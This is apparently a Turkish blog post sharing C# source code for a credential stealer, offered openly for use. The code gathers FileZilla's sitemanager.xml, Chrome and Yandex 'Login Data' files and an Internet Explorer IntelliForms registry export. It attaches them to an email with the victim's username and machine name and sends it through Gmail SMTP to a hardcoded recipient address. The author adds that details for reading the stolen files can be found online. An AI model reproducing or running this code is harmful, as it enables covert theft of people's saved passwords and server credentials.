C# Tarayıcı Bilgilerini Çekme
Arkadaşlar merhaba.
Boş vakti güzel değerlendiriyim dedim şöyle bişi hazırladım.
Kodlar ile başlıktaki uygulamaların kişisel bilgilerini çekip mail olarak alıyoruz. Güle güle kullanıyoruz.
//sizi ilgilendiren kısım string mailadresi = "cikiciki@gmail.com"; //gondericek mail adresi string mailsifresi = "teleley"; //gondericek mail sifresi string alicimail = "b4r1s@live.nl"; // alıcı mail adresi //sizi ilgilendiren kısım MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); mail.From = new MailAddress(mailadresi); mail.To.Add(alicimail); string icerik = "Mail İçeriği ; \n"; Attachment eklenti; try { eklenti = new Attachment(Environment.GetEnvironmentVariable("APPDATA") + "\\FileZilla\\sitemanager.xml"); eklenti.Name = "filezilla.xml"; mail.Attachments.Add(eklenti); icerik += "-Filezilla Kullanıcı Verileri \n"; } catch { } try { eklenti = new Attachment(Environment.GetEnvironmentVariable("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login Data"); eklenti.Name = "GoogleChrome_Login"; mail.Attachments.Add(eklenti); icerik += "-Google Chrome Kullanıcı Verileri \n"; } catch { } try { eklenti = new Attachment(Environment.GetEnvironmentVariable("LOCALAPPDATA") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data"); eklenti.Name = "YandexBrowser_Login"; mail.Attachments.Add(eklenti); icerik += "-Yandex Browser Kullanıcı Verileri \n"; } catch { } try { Process proc = new Process(); proc.StartInfo.UseShellExecute = false; proc = Process.Start("regedit.exe", "/e " + "\"" + Path.GetTempPath() + "\\ie_SFR.reg\"" + " " + "\"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\IntelliForms\"" + ""); Thread.Sleep(75); eklenti = new Attachment(Path.GetTempPath() + "\\ie_SFR.reg"); eklenti.Name = "InternetExplorer_Login.txt"; mail.Attachments.Add(eklenti); icerik += "-Internet Explorer Kullanıcı Verileri \n"; } catch { } icerik += "\n \n \nKullanıcı Adı :" + Environment.UserName + "\n" + "Bilgisayar Adı :" + Environment.UserDomainName + "\n" + "İşletim Sistemi : " + Environment.OSVersion.ToString(); mail.Subject = Environment.UserName + " - " + Environment.UserDomainName + " - " + DateTime.Now.ToString(); mail.Body = icerik; SmtpServer.Port = 587; SmtpServer.Credentials = new NetworkCredential(mailadresi, mailsifresi); SmtpServer.EnableSsl = true; SmtpServer.Send(mail);
Gmail smtp kullanarak atıyor. Size söyle bir mail geliyor ;
Dosyaları nasıl kullanıcam dersenizde.
Filezilla içinde hepsi kabak gibi yazıyor , Chrome ve Yandex browser'ın "Login Data" dosyasıdır. IE'nin de reg. deki dosyasıdır.
Zaten nette ayrıntılarını bulabilirsiniz. Kolay gelsin.
(hotmail .reg vs. kabul etmediği için .txt olarak çevirdim onu. Login Data içinde uzantı istiyordu. kendisi .dat belirlemiş yine gönderirken)
Yorumlar
Yorum Gönder